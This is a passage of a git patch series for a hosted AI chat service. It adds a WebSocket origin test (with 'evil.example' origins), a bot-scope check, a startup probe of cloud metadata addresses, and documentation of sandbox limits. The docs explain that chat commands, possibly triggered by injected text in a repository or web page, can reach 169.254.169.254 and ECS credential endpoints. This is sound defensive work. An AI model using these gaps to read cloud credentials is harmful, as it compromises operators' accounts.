including a proxy that does not pass the Host header through. +func TestWhichOriginsMayUpgrade(t *testing.T) { + cases := []struct { + name, host, address string + origins []string + upgrade bool + refuse bool + }{ + {"no origin", "org.example.com", "https://org.example.com", nil, true, false}, + {"the same host", "org.example.com", "https://org.example.com", []string{"https://org.example.com"}, true, false}, + {"the same host in capitals", "ORG.example.com", "https://org.example.com", []string{"https://org.EXAMPLE.com"}, true, false}, + {"the same host with its default port spelled", "org.example.com:443", "https://org.example.com", []string{"https://org.example.com"}, true, false}, + {"plain http on the same host", "127.0.0.1:8787", "http://127.0.0.1:8787", []string{"http://127.0.0.1:8787"}, true, false}, + {"a proxy that rewrites Host to its backend", "codeaf:8787", "https://org.example.com", []string{"https://org.example.com"}, true, false}, + {"another site", "org.example.com", "https://org.example.com", []string{"https://evil.example"}, true, true}, + {"a sibling name of the same site", "org.example.com", "https://org.example.com", []string{"https://blog.example.com"}, true, true}, + {"a name that merely ends with ours", "org.example.com", "https://org.example.com", []string{"https://evilorg.example.com"}, true, true}, + {"a name that merely starts with ours", "org.example.com", "https://org.example.com", []string{"https://org.example.com.evil.example"}, true, true}, + {"our host on another port", "org.example.com", "https://org.example.com", []string{"https://org.example.com:8443"}, true, true}, + {"an opaque origin", "org.example.com", "https://org.example.com", []string{"null"}, true, true}, + {"an origin with a path", "org.example.com", "https://org.example.com", []string{"https://org.example.com/x"}, true, true}, + {"an origin with credentials", "org.example.com", "https://org.example.com", []string{"https://a@org.example.com"}, true, true}, + {"a file page", "org.example.com", "https://org.example.com", []string{"file://"}, true, true}, + {"an empty origin", "org.example.com", "https://org.example.com", []string{""}, true, true}, + {"two origins", "org.example.com", "https://org.example.com", []string{"https://org.example.com", "https://org.example.com"}, true, true}, + {"another site on a request that is not an upgrade", "org.example.com", "https://org.example.com", []string{"https://evil.example"}, false, false}, + } + for _, tc := range cases { + h := &Handler{config: Config{Address: tc.address}} + r := httptest.NewRequest(http.MethodGet, "/v1/hosted/sessions/hs_x/wire", nil) + r.Host = tc.host + if tc.upgrade { + r.Header.Set("Connection", "Upgrade") + r.Header.Set("Upgrade", "websocket") + } + for _, origin := range tc.origins { + r.Header.Add("Origin", origin) + } + if got := h.crossSiteUpgrade(r); got != tc.refuse { + t.Errorf("%s: refused = %v, want %v", tc.name, got, tc.refuse) + } + } +} From 1e87d1d31f8cc9c36f010af2b35a011a380e5e7d Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 01:32:00 -0500 Subject: [PATCH 138/176] org: a bot starts a hosted chat only when its scope holds run A bot narrowed to view could still POST /v1/hosted/sessions and make a chat it could only watch. Starting a chat now asks what the bot would hold on the chat it would own (its creator's verbs narrowed by its scope and the policy's agent scope) and refuses a bot without run, before anything is minted or made. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/hosted_access.go | 12 ++++ .../factory/serve/hosted_bot_start_test.go | 56 +++++++++++++++++++ internal/factory/serve/hosted_proxy.go | 9 +++ 3 files changed, 77 insertions(+) create mode 100644 internal/factory/serve/hosted_bot_start_test.go diff --git a/internal/factory/serve/hosted_access.go b/internal/factory/serve/hosted_access.go index 466f41b45f..7ed03cfcb3 100644 --- a/internal/factory/serve/hosted_access.go +++ b/internal/factory/serve/hosted_access.go @@ -14,6 +14,10 @@ import ( const hostedOwnerManage = "Only this chat's owner, or someone it is shared with in full, can stop or delete it." +// hostedBotNeedsRun is what a bot reads when its scope does not let it run the +// chat it would start, which is every scope below `run` (view and comment). +const hostedBotNeedsRun = "This bot's scope does not let it run chats, so it cannot start one. Ask the person who made it." + type hostedWireClass uint8 const ( @@ -49,6 +53,14 @@ func (h *Handler) hostedViewer(w http.ResponseWriter, r *http.Request) (Viewer, return v, h.hostedSignedIn(w, v.Handle, err) } +// hostedStartItem is the chat a person is about to start, as the access core +// sees it: theirs, private, and with no grant yet, so what a caller holds on it +// is what they would hold the moment it exists. +func (h *Handler) hostedStartItem(id, owner string) Item { + row := hostedResourceRow(id, owner, acl.Principal{Kind: "person", ID: owner}, acl.Private, h.clock()) + return h.resourceItem(row, factory.OrgWorkstream{}) +} + // hostedRegistration only accepts parentless person-owned hosted chats because other session resources live elsewhere. func hostedRegistration(row store.Resource) bool { return row.Parent == (acl.Resource{}) && row.Owner.Kind == "person" && row.Owner.ID != "" && hostedIDForm.MatchString(row.ID) diff --git a/internal/factory/serve/hosted_bot_start_test.go b/internal/factory/serve/hosted_bot_start_test.go new file mode 100644 index 0000000000..1fe8a59810 --- /dev/null +++ b/internal/factory/serve/hosted_bot_start_test.go @@ -0,0 +1,56 @@ +package serve + +import ( + "net/http" + "testing" + + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/factory/store" +) + +// THE VALIDATION CONTRACT (a bot never acts beyond its own scope, nor beyond its creator): +// +// 1. A bot whose scope leaves `run` out (view, comment) cannot start a hosted chat. It is +// refused with the server's sentence, the chats' host is never asked, and no chat is +// registered for its creator. +// 2. A bot whose scope holds `run` (edit, full) within what its creator holds still starts one, +// and the chat is its creator's, recorded as made by the bot. +// 3. The organization's policy narrows a bot too: when the policy's agent scope drops `run`, a +// bot named `full` is refused as well. +// 4. A person is not asked any of this: the creator starts a chat as before. +func TestABotNarrowedBelowRunCannotStartAChat(t *testing.T) { + rg := newHostedRig(t) + view := rg.contractBot(t, "abir", "View bot", "view") + comment := rg.contractBot(t, "abir", "Comment bot", "comment") + edit := rg.contractBot(t, "abir", "Edit bot", "edit") + full := rg.contractBot(t, "abir", "Full bot", "full") + + before := rg.host.count() + for name, token := range map[string]string{"view": view.Token, "comment": comment.Token} { + w := rg.botDo(t, token, http.MethodPost, hostedSessionsPath, -1, nil, http.StatusForbidden, nil) + assertBotRefusal(t, w, hostedBotNeedsRun) + if got := rg.host.count(); got != before { + t.Fatalf("the %s bot's refused start reached the chats' host: %d requests", name, got-before) + } + } + var mine struct{ Sessions, Shared []struct{ ID string } } + rg.do(t, "abir", http.MethodGet, hostedSessionsPath, -1, nil, http.StatusOK, &mine) + if len(mine.Sessions)+len(mine.Shared) != 0 { + t.Fatalf("a refused start left a chat behind: %+v", mine) + } + + for name, bot := range map[string]string{"edit": edit.Token, "full": full.Token} { + var made struct{ ID string } + rg.botDo(t, bot, http.MethodPost, hostedSessionsPath, -1, nil, http.StatusCreated, &made) + row, found, err := rg.st.Resource(store.SessionKind, made.ID) + if err != nil || !found || row.Owner != (acl.Subject{Kind: "person", ID: "abir"}) || row.CreatedBy.Kind != "bot" || row.CreatedBy.Sponsor != "abir" { + t.Fatalf("the %s bot's chat = %+v, found %v, %v", name, row, found, err) + } + } + + rg.setAccessPolicy(t, func(p *acl.Policy) { p.Agents.DefaultScope = "view" }) + w := rg.botDo(t, full.Token, http.MethodPost, hostedSessionsPath, -1, nil, http.StatusForbidden, nil) + assertBotRefusal(t, w, hostedBotNeedsRun) + + rg.do(t, "abir", http.MethodPost, hostedSessionsPath, -1, nil, http.StatusCreated, nil) +} diff --git a/internal/factory/serve/hosted_proxy.go b/internal/factory/serve/hosted_proxy.go index 366b5d30cb..0f1908daef 100644 --- a/internal/factory/serve/hosted_proxy.go +++ b/internal/factory/serve/hosted_proxy.go @@ -489,6 +489,15 @@ func (h *Handler) hostedCreate(w http.ResponseWriter, r *http.Request) { return } id := "hs_" + hex.EncodeToString(raw[:]) + // A BOT STARTS A CHAT ONLY WHEN IT COULD RUN ONE. The chat is its creator's + // from its first moment, and a bot holds on it what its creator holds + // narrowed by its scope, which is the same `run` the wire asks of anyone + // who types into a chat. A bot whose scope leaves `run` out would make a + // chat it can only watch, so it is refused here, before anything is made. + if v.Agent != nil && !hostedGuestVerbs(v, h.hostedStartItem(id, person)).Has(acl.VerbRun) { + h.fail(w, http.StatusForbidden, hostedBotNeedsRun) + return + } token, err := hs.bearers.mint(id, person, h.clock()) if err != nil { log.Printf("hosted chats: a chat could not be started: %v", err) From f9e730f78ee25c5b93521ac67e7e71fb99d7d554 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 01:32:00 -0500 Subject: [PATCH 139/176] sessionhost: say at start when this machine answers on a cloud metadata address The port fence cannot stop a chat reaching 169.254.169.254:80, so the operator is told. At start the supervisor connects (and sends nothing) to the AWS, Google and Azure metadata address, AWS's task-credentials address and AWS's IPv6 metadata address, in the background, and logs one warning line naming any that answer. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/sessionhost.go | 5 ++ internal/sessionhost/metadata.go | 72 +++++++++++++++++++++ internal/sessionhost/metadata_test.go | 90 +++++++++++++++++++++++++++ 3 files changed, 167 insertions(+) create mode 100644 internal/sessionhost/metadata.go create mode 100644 internal/sessionhost/metadata_test.go diff --git a/cmd/codeaf/sessionhost.go b/cmd/codeaf/sessionhost.go index 4e106c4a1e..a8fcdffe8f 100644 --- a/cmd/codeaf/sessionhost.go +++ b/cmd/codeaf/sessionhost.go @@ -68,6 +68,11 @@ func runSessionhost(args []string) error { } ctx, cancel := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) defer cancel() + if report.OK { + // The port fence cannot stop a chat reaching a cloud metadata address, + // so the operator is told when this machine answers on one. + sessionhost.WarnIfMetadataReachable(ctx, os.Stderr) + } return sessionhost.ListenAndServe(ctx, cfg, report) case "probe": report := sessionhost.Probe(cfg) diff --git a/internal/sessionhost/metadata.go b/internal/sessionhost/metadata.go new file mode 100644 index 0000000000..3bb1df92cb --- /dev/null +++ b/internal/sessionhost/metadata.go @@ -0,0 +1,72 @@ +package sessionhost + +import ( + "context" + "fmt" + "io" + "net" + "sync" + "time" +) + +// metadataAddresses are where cloud machines answer for their own credentials: +// the instance metadata address of AWS, Google Cloud and Azure, the task +// credentials address of AWS ECS, and AWS's IPv6 metadata address. Port 80 is +// one of the ports a chat's commands may connect to, and the fence filters by +// port and not by address, so a machine that answers here answers a chat too. +var metadataAddresses = []string{"169.254.169.254:80", "169.254.170.2:80", "[fd00:ec2::254]:80"} + +// metadataWait is how long one address gets to answer. A network that does not +// route the address drops the packet, so the only way to say "no" is to stop waiting. +const metadataWait = time.Second + +type dialer func(ctx context.Context, network, address string) (net.Conn, error) + +// reachableMetadata names the addresses that accept a connection. It only +// connects: it sends nothing, so it asks the service for no credential, and it +// closes the connection at once. +func reachableMetadata(ctx context.Context, dial dialer) []string { + var ( + mu sync.Mutex + wg sync.WaitGroup + found = map[string]bool{} + ) + for _, address := range metadataAddresses { + wg.Go(func() { + ctx, cancel := context.WithTimeout(ctx, metadataWait) + defer cancel() + conn, err := dial(ctx, "tcp", address) + if err != nil { + return + } + _ = conn.Close() + mu.Lock() + found[address] = true + mu.Unlock() + }) + } + wg.Wait() + var out []string + for _, address := range metadataAddresses { + if found[address] { + out = append(out, address) + } + } + return out +} + +// WarnIfMetadataReachable checks once, in the background, whether this machine +// answers on a cloud metadata address, and says so on out when it does. It +// says nothing otherwise, and never stops the supervisor: the gap is the +// network's, and the operator closes it there (deploy/org/README.md, Known limits). +func WarnIfMetadataReachable(ctx context.Context, out io.Writer) { + go warnIfMetadataReachable(ctx, out, (&net.Dialer{}).DialContext) +} + +func warnIfMetadataReachable(ctx context.Context, out io.Writer, dial dialer) { + if found := reachableMetadata(ctx, dial); len(found) > 0 { + fmt.Fprintf(out, "sessionhost: WARNING: this machine answers on %v, a cloud metadata address, and a chat's commands can reach it, "+ + "because the network fence filters by port and not by address. Block 169.254.0.0/16 for this machine "+ + "(deploy/org/README.md, Known limits).\n", found) + } +} diff --git a/internal/sessionhost/metadata_test.go b/internal/sessionhost/metadata_test.go new file mode 100644 index 0000000000..62b689f080 --- /dev/null +++ b/internal/sessionhost/metadata_test.go @@ -0,0 +1,90 @@ +package sessionhost + +import ( + "bytes" + "context" + "errors" + "net" + "strings" + "sync" + "sync/atomic" + "testing" + "time" +) + +// THE VALIDATION CONTRACT (the operator is told when the network lets a chat reach a cloud +// metadata address, because the port fence cannot stop it): +// +// 1. A machine that accepts a connection on a metadata address is named in one warning line. +// 2. A machine that answers on none of them, or only slowly, gets no warning and no delay. +// 3. The check only connects and closes: it never reads or writes. +func TestTheOperatorIsToldWhichMetadataAddressesAnswer(t *testing.T) { + var ( + mu sync.Mutex + asked []string + closed atomic.Int32 + ) + answering := map[string]bool{"169.254.169.254:80": true, "[fd00:ec2::254]:80": true} + dial := func(_ context.Context, network, address string) (net.Conn, error) { + mu.Lock() + asked = append(asked, network+" "+address) + mu.Unlock() + if !answering[address] { + return nil, errors.New("no route") + } + client, server := net.Pipe() + t.Cleanup(func() { _ = server.Close() }) + return &touchedConn{Conn: client, t: t, closed: &closed}, nil + } + var out bytes.Buffer + warnIfMetadataReachable(t.Context(), &out, dial) + line := out.String() + if !strings.Contains(line, "169.254.169.254:80") || !strings.Contains(line, "[fd00:ec2::254]:80") || strings.Contains(line, "169.254.170.2") { + t.Fatalf("the warning names the wrong addresses: %q", line) + } + if strings.Count(line, "\n") != 1 || !strings.Contains(line, "Block 169.254.0.0/16") { + t.Fatalf("the warning is not one line that says what to do: %q", line) + } + if len(asked) != len(metadataAddresses) { + t.Fatalf("asked %v", asked) + } + if closed.Load() != 2 { + t.Fatalf("closed %d of the 2 connections that were made", closed.Load()) + } +} + +// touchedConn fails the test on any read or write: the check only connects and closes. +type touchedConn struct { + net.Conn + t *testing.T + closed *atomic.Int32 +} + +func (c *touchedConn) Read([]byte) (int, error) { + c.t.Error("the check read from the address") + return 0, net.ErrClosed +} +func (c *touchedConn) Write([]byte) (int, error) { + c.t.Error("the check wrote to the address") + return 0, net.ErrClosed +} +func (c *touchedConn) Close() error { c.closed.Add(1); return c.Conn.Close() } + +func TestNoWarningWhenNothingAnswersOrTheNetworkDropsThePacket(t *testing.T) { + refused := func(context.Context, string, string) (net.Conn, error) { return nil, errors.New("refused") } + dropped := func(ctx context.Context, _, _ string) (net.Conn, error) { + <-ctx.Done() + return nil, ctx.Err() + } + for name, dial := range map[string]dialer{"refused": refused, "dropped": dropped} { + var out bytes.Buffer + start := time.Now() + warnIfMetadataReachable(t.Context(), &out, dial) + if out.Len() != 0 { + t.Errorf("%s: a warning for an address that did not answer: %q", name, out.String()) + } + if took := time.Since(start); took > 5*time.Second { + t.Errorf("%s: the check waited %v", name, took) + } + } +} From 6386b688ffcdddb3778d58060228ee36e38b4a0b Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 01:32:07 -0500 Subject: [PATCH 140/176] docs: the hosted chat limits written down, and the doc errors from the test round corrected Corrects the busy sentence (four calls in flight is the limit for a priced model; a model with no price holds half the limit per call), the end of a chat's access on removal of the person, what stop, delete and start clear in the shared areas, and the reap sweep. Writes the v1 limits down in the operator README, the trust model and the manual: the port fence filters by port and not address (with guardrails for the metadata address), no per-chat disk or memory quota, a removal while the chats' machine is down, the seccomp dependency, and the paths not tested end to end (a front proxy, a priced model). Documents the websocket origin check and the run requirement for a bot starting a chat. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 95 ++++++++++++++++--- docs/organizations.md | 32 ++++++- .../chat/organization-hosted-sessions.md | 43 +++++++-- internal/manual/chat/organization-sharing.md | 2 +- internal/manual/chat_test.go | 7 ++ 5 files changed, 151 insertions(+), 28 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index 9ded495d04..8142f077b2 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -120,6 +120,13 @@ For example Caddy, on the same host: `org.example.com { reverse_proxy 127.0.0.1: then name `https://org.example.com`. Without `CODEAF_TRUSTED_PROXIES` the server sees every request as plain HTTP and refuses passwords with "Passwords are only sent to this server over https". +- **Browser chat connections.** A WebSocket upgrade with an `Origin` header is accepted only if the header names the host + the request was sent to or the public name set with `CODEAF_PUBLIC_DOMAIN`. Otherwise the server returns `403` with + `This page is from another site, so it cannot open a chat connection here.` Connections with no `Origin` header are accepted + because the codeaf command line, the desktop app's engine and other non-browser clients send none. The sign-in cookie is + `SameSite=Strict`. The origin check also protects against pages on sibling names of the same site. There is no setting to + allow another origin because no client needs one. + ## Real work Put your keys in `.env` and `docker compose up -d`. `ORG_MODEL`, `SWE_DEFAULT_MODEL` and `PR_AF_MODEL` choose the @@ -185,11 +192,14 @@ because it has to become a different Linux user for every chat. It is built from exact setting (`codeaf sessionhost probe` prints the same reason); with it the chats run on the user switch alone, with no limit on what their commands reach, the port limit below included. Chats also start with `umask 077`, because `/tmp` and `/dev/shm` are shared by every chat on the machine; a chat can still open its own files up. + Every mode of `codeaf sessionhost reap` (stop, delete and the cleanup before a chat starts) also sweeps `/tmp`, `/dev/shm`, + `/var/tmp` and the System V shared memory, message queues and semaphores of the chat's Linux user. It runs as that user + without following links, so the next chat given that Linux user cannot read what the previous chat left there. - **A port limit on the network** (`CODEAF_SESSIONHOST_CONNECT_PORTS`, default `443,80,22,9418`). A private network with no policies of its own (Railway's, and any Compose stack that puts a chat's machine beside other services) lets a chat's command connect to the node APIs, the model stub and anything else listening there. The fence - therefore carries a Landlock TCP-connect allowlist: a command may connect to those ports and to the port of the - organization server's own address (the model door and git, taken from the chat's credentials), and every other + therefore carries a Landlock TCP-connect allowlist: a command may connect to those ports and the ports used for the + organization server's own address (the model door and git, taken from the chat's credentials), and every other TCP port is refused by the kernel with `permission denied` and one plain line saying so. `none` allows the organization server's port alone. **It filters by port, not by address**: a hostile service listening on an allowed port is still reachable, a service of the chat's own on another port (a dev server on 3000) is not, and AgentField, the nodes and the @@ -199,12 +209,17 @@ because it has to become a different Linux user for every chat. It is built from - **No keys.** The sessionhost holds no organization secret except the one it shares with the organization server, no AgentField key, no GitHub token and no model key, and a chat holds none of a person's keys either. A chat reaches a model only through the organization server's `/v1/model/` door with a bearer the server minted for - that chat (seven days, ended at once on stop or delete, kept as a hash in the organization's data so a restart of - the server does not end it); the door adds the real key itself, metered into the person's spend. Git goes the same + that chat (seven days, ended at once on stop, delete or removal of the person from the organization, kept as a hash + in the organization's data across restarts). The door adds the real key and meters calls into the person's spend. Git goes the same way: the chat's `git clone`/`push` of an allowed host is rewritten to the organization server's `/v1/hosted/git/` door, which adds the person's own GitHub access to each request, so the chat never holds a GitHub token (a credential helper, `codeaf git-credential`, hands git only the chat's own bearer, and only to that one address). +- **Removing a person.** The server first ends the person's chats' model and git access, so any chat still running can no + longer spend the organization's key or reach git as that person. It clears their stored keys and GitHub access and deletes + their chats on the machine that runs them. If that machine does not answer, removal still succeeds. The server ends the + shares of each chat it could not delete and makes it private, so every route answers `There is no such chat.` Those chats + stay on the machine until the operator repeats the removal once the machine answers. Removal never retries on its own. - **Limits.** `CODEAF_SESSIONHOST_MAX_RUNNING` chats at once (default 20) and `CODEAF_SESSIONHOST_MAX_PER_PERSON` per person (default 3). A chat counts while it has a process; a person at their limit can still make a chat but cannot start another and reads "You already have N chats running; stop one first." @@ -322,9 +337,9 @@ right to a private chat than anyone else (the policy's `operator.sees_private` i the owner's own attach puts it back to the owner. Each message a guest sends writes one `kind: "prompt"` line in the owner's `GET /v1/hosted/audit` (who, never what), and every `git` line carries `asker` when it was not the owner. - **Bots.** A bot token may use `/v1/hosted/sessions` (and not `/v1/hosted/keys` or `/v1/hosted/git`, which answer - `a bot cannot use this yet`): it makes, lists, opens, stops and deletes exactly what its creator may, narrowed by - its scope, decided again at every request. A bot's chat is owned by the person who made the bot, and `created_by` - records the bot, as for any other thing a bot makes. + `a bot cannot use this yet`). It lists, opens, stops and deletes chats within its creator's access, narrowed by its scope + on every request. It can start a hosted chat only when the organization's policy lets agents create things and its scope + holds `run`. A bot's chat is owned by the person who made the bot, and `created_by` records the bot. - **Who may move a chat.** `PUT /v1/org/policy` takes `"chats": {"move_by": "owner"}` or `"chats": {"move_by": "manage"}`. Absent or empty means `owner`: only the person who owns a chat moves it, which is what the server always did, and a policy stored before the field existed reads that way. `manage` lets anyone who holds the `manage` verb on the chat move it, so a person it is shared with at @@ -365,9 +380,8 @@ is a change to the wire's own protocol and not made here. published image (`--env-file images.env`, see "Published images"). `codeaf`, `runner` and `sessionhost` all run that one image. Do not build from a binary of your own machine: the image should be this commit's source, which is what `codeaf version` inside it reports. -The sessionhost sits on a network of its own, shared only with `codeaf`, so a chat's commands cannot reach -AgentField, the nodes, the runner or the model stub. On a platform with no such network (Railway), the port limit above -is what keeps them out. Its API (`/v1/sessions` ...) wants the shared secret and a +Compose puts the sessionhost on a network shared only with `codeaf`. See [Known limits](#known-limits) for what the port +fence allows and how to isolate other services. The sessionhost API (`/v1/sessions` ...) wants the shared secret and a person's name from the organization server, and answers anything else with an empty `401`. `SMOKE_HOSTED=1 ./smoke.sh` runs everything above against the scripted stub (so it spends nothing). It needs an image @@ -608,9 +622,9 @@ What a first install needs that the table does not show: Two things differ from Compose. Railway's edge is an HTTPS proxy in front of `codeaf`, so `CODEAF_TRUSTED_PROXIES=100.64.0.0/10` (the edge's range) is required: without it every password sign-in is -refused as plain HTTP. `/v1/about` on the public name says `"scheme": "https"` when it is right. And Railway's private network has no -policies of its own: any service can connect to any other, so a chat's commands are kept off the other services by the sessionhost's port -limit (see "Hosted chats"), and each service must keep its own sign-in. +refused as plain HTTP. `/v1/about` on the public name says `"scheme": "https"` when it is right. Railway's private network lets +services in the same environment connect to one another. A chat's commands can reach services on allowed TCP ports, and UDP is +unfiltered. See [Known limits](#known-limits) for how to isolate other services. ### Claim the organization @@ -663,3 +677,58 @@ kernel, and the public name serves over HTTPS. None of them makes a model call o no variable here, such as `loopback_trust` (always off for this team server; see "Claim the organization"), cannot be changed in this stack, and a hand edit of the file is replaced. - One replica of each service; no high availability. +- **The network fence filters TCP by port.** A chat's commands may connect only to ports 443, 80, 22 and 9418 by default + (`CODEAF_SESSIONHOST_CONNECT_PORTS`) and the ports used for the organization server's own address. Landlock has no rule + for a destination address. Ports 80 and 443 can reach any host accessible from the chats' machine, including the internet, + internal services, the Docker host at the container network's gateway, cloud instance metadata at `169.254.169.254` and + AWS ECS task credentials at `169.254.170.2`. UDP is unfiltered. A command that reaches cloud metadata can read that + machine's cloud credentials. A chat's environment is built from a short fixed list, which leaves out the container's own + cloud credential variables. Text in a repository or web page can make the chat's agent run a command, so access to the + network is relevant to anyone who can put text in front of a chat. The port fence worked on a flat test network, where + the metadata address did not answer. Whether it is reachable on a cloud machine remains untested. At start the sessionhost + connects to `169.254.169.254:80`, `169.254.170.2:80` and `[fd00:ec2::254]:80`, sends nothing, and logs one `WARNING` line + naming any that answer; it never refuses to start over it, because closing the gap is the network's job. + + The operator sets these guardrails outside codeaf. + + - Block the whole link-local range `169.254.0.0/16` for traffic from the machine that runs chats, at the host or VPC + firewall. It includes metadata addresses on AWS, Google Cloud and Azure and the ECS task credentials address. On AWS + also block the IPv6 metadata address `fd00:ec2::254`. On a Docker host, use the `DOCKER-USER` chain for traffic from + containers. These firewall rules were not tested. + - On AWS require IMDSv2 (`HttpTokens=required`) and set the hop limit to 1. The hop limit helps only when IMDSv2 is required. + Google Cloud and Azure have no equivalent hop limit. Use the firewall rule and give the instance identity (a service + account or managed identity) only permissions you would give a chat. + - Keep other internal services off ports 80 and 443 on the chats' network or give each its own sign-in. The container + network's gateway is the Docker host itself. A chat can reach a host service on an allowed port, so firewall the Docker + bridge from the host's own services. + - Give the stack a network of its own, using a dedicated VPC or subnet, a separate security group, or a Docker network + with no route to other internal services. + - Railway's documentation says services in one environment can reach each other on the private network and services in + different projects or environments cannot. Run codeaf in a project of its own and keep all other services out of that + environment. Railway's documentation does not say whether the metadata address answers from a service container, and + this was not checked. + - An egress proxy that refuses private and link-local addresses is a possible next step. Address filtering is absent today, + and the sessionhost has no network capability. +- **There is no per-chat disk or memory quota.** Each chat's Linux user is limited to 512 processes, which stopped a fork + burst in testing. Commands are limited to 4096 open files and 10 GiB per file, with no core dumps. A 200 MB write + and a 256 MB allocation both succeeded. One chat can fill the sessions volume or the machine's memory and slow or stop + other chats. `CODEAF_SESSIONHOST_MAX_RUNNING` and `CODEAF_SESSIONHOST_MAX_PER_PERSON` cap the number of running chats at + 20 and 3 by default. Bound the whole `sessionhost` service with Compose `mem_limit`, `pids_limit` and `cpus`, a fixed-size + volume and a disk alert to limit the impact to that service. +- **Removing someone while the chat machine is down.** Removal succeeds, ends the person's chats' model and git access + immediately and clears stored keys and GitHub access. The chats the machine could not delete are closed to everyone. + Their Linux users and folders stay on the machine. Check that the chats are gone and repeat the removal once the machine + answers if any remain. Removal never retries on its own. +- **The container runtime supplies the seccomp profile.** The sessionhost relies on the runtime's default profile to + block user namespaces and calls such as `mount` and `chroot`. It sets no filter of its own for those calls. It sets + no-new-privileges, drops every capability from the chat's processes and uses a separate Linux user for each chat. + Never use `seccomp=unconfined` or a profile looser than Docker's default. Docker applies its default unless Compose or the + platform specifies another profile. Check that your platform's profile applies equivalent restrictions. In testing + with a profile that allowed everything but Landlock, `unshare` worked and chat commands could write a user ID map. + That exposes more of the kernel to a chat's unprivileged user, increasing the risk of an escape. By design, Landlock and + the chat's Linux user still apply inside those namespaces. That behavior was not tested. +- `local_sessions: refuse` is enforced on the server side only. No client acts on it yet. +- Request framing and WebSocket upgrades through a front proxy such as Railway's edge, nginx or a load balancer were untested + end to end. The test stack used no proxy. +- The model door's reservation path for a priced model was read in the code and remains untested end to end. The test stub's + model has no price. diff --git a/docs/organizations.md b/docs/organizations.md index 7f6b62101e..1b054c429c 100644 --- a/docs/organizations.md +++ b/docs/organizations.md @@ -67,19 +67,25 @@ Who sees what, and what holds that to be true: | **Everyone else** | Nothing: asking for a private chat answers `There is no such chat.`, the same as for a chat that never existed. | The same access rules; the chat is left out of their lists and live updates. | | **The organization's operator** (the person who claimed the organization) | People, roles, policy, totals of spend. Not a private chat: no title, no history, no files. | `operator.sees_private` in the policy is off by default. | | **A bot** | At most what the person who made it holds, narrowed by its scope, decided again on every request. | The server; a bot is default-deny and may only use the routes on its allow-list. | -| **A chat's own commands** | Their own folder and the internet on four ports (443, 80, 22, 9418 unless changed). Not another chat's files, processes or sockets, and no key or token of anyone's. | Each chat is its own Linux user inside a Landlock fence. The model is reached only through the server's model door with a bearer minted for that one chat; git goes through the server's git door. | +| **A chat's own commands** | Their own folder, and any address the machine can reach on the allowed TCP ports (443, 80, 22 and 9418 by default, plus the ports of the organization server's own address); UDP is not filtered. Not another chat's files, processes or sockets, and no key or token of anyone's. | Each chat is its own Linux user inside a Landlock fence. The chat uses its own bearer for the server's model and git doors. | | **Whoever is root on the host** | Everything on the disk, including every chat. | Nothing: that is the honest limit (below). | Keys and git: - **The organization's model key never enters a chat.** The chat calls the organization server's model door with a - bearer minted for that chat (it ends when the chat is stopped or deleted, and after seven days). The door adds the real key - itself and meters every call to the cent into the owner's account. + bearer minted for that chat. It ends after seven days or at once when the chat is stopped or deleted or the operator + removes its owner. The door adds the real key and meters every call to the cent into the owner's account. - **People may add their own OpenRouter key and GitHub access.** They are sealed on disk with a key per person, which is itself sealed by `CODEAF_SERVER_KEY`. Back that key up with `.env`. - **Git goes through the server.** A chat's `git clone` and `git push` to an allowed host (GitHub unless changed) are rewritten to the organization server, which adds the owner's GitHub access to each request. No token is ever in the chat. +- **Browser chat connections.** A WebSocket upgrade with an `Origin` header is accepted only if the header names the host + the request was sent to or the public name set with `CODEAF_PUBLIC_DOMAIN`. Otherwise the server returns `403` with + `This page is from another site, so it cannot open a chat connection here.` Connections with no `Origin` header are accepted + because the codeaf command line, the desktop app's engine and other non-browser clients send none. The sign-in cookie is + `SameSite=Strict`. The origin check also protects against pages on sibling names of the same site. There is no setting to + allow another origin because no client needs one. ## Sharing a chat @@ -113,6 +119,8 @@ A person can make a **bot**: a named identity with its own token (`cbt_...`, sho script or integration. A bot is owned by its creator and never holds more than the creator does right now. What it makes (a hosted chat, for example) belongs to the creator and is recorded as made by the bot. It cannot make bots, mint tokens, use the operator's routes, or touch a person's stored keys. +Starting a hosted chat requires the organization's policy to allow agents to create things and the bot's scope to hold +`run`, which the default `edit` and `full` roles include and `view` and `comment` leave out. ## The hosting policy @@ -239,12 +247,28 @@ needs an image that has `codeaf sessionhost`; the operator README says how to po - By default only the owner moves a chat between My space and a workstream; the policy's `chats.move_by` set to `manage` lets people with the `manage` verb on the chat move it too (never into their own My space, never a bot). - `local_sessions` `allow` and `warn` are reported and stored; nothing in a client acts on them yet. -- The sandbox filters outbound network by port, not by address. +- The sandbox filters TCP by port. Through allowed ports, a chat can reach internal services, the Docker host gateway and + cloud metadata such as `169.254.169.254` if those addresses answer. Cloud metadata can expose the machine's cloud + credentials. UDP is unfiltered. The port fence worked on a flat test network, where the metadata address did not answer. + Reachability on a cloud machine remains untested. The sessionhost logs a warning at start when this machine answers on one. +- A hosted chat has no total disk or memory quota and can fill the sessions volume or the machine's memory. The operator can + bound the whole `sessionhost` service. +- Removing someone while the chat machine is down still ends the person's model and git access, clears their stored keys and + GitHub access and closes their chats to everyone. The chats stay on the machine. Check that the chats are gone and repeat + the removal once the machine answers if any remain. Removal never retries on its own. +- The sessionhost relies on the container runtime's default seccomp profile to block user namespaces and calls such as + `mount` and `chroot`. Use Docker's default profile or one with equivalent restrictions. +- `local_sessions: refuse` is enforced on the server side only. No client acts on it yet. +- Request framing and WebSocket upgrades through a front proxy were untested end to end. The test stack used no proxy. +- The priced-model reservation path was read in the code and remains untested end to end. The test stub has no model price. - The Railway template is made from the published images, which are not on Docker Hub yet, so the script that makes it has only been dry-run. The by-hand Railway install in the operator README is the tested configuration, and it includes the sessionhost. - GitHub sign-in and invitation mail are optional and untested in the stack; a username and password is the default way in. - One replica of each service; no high availability. +See the [operator guardrails in Known limits](../deploy/org/README.md#known-limits) for firewall and cloud identity rules, +resource limits, cleanup after removal and seccomp profiles. + ## Where to read next - [`deploy/org/README.md`](../deploy/org/README.md): environment variables, HTTPS, 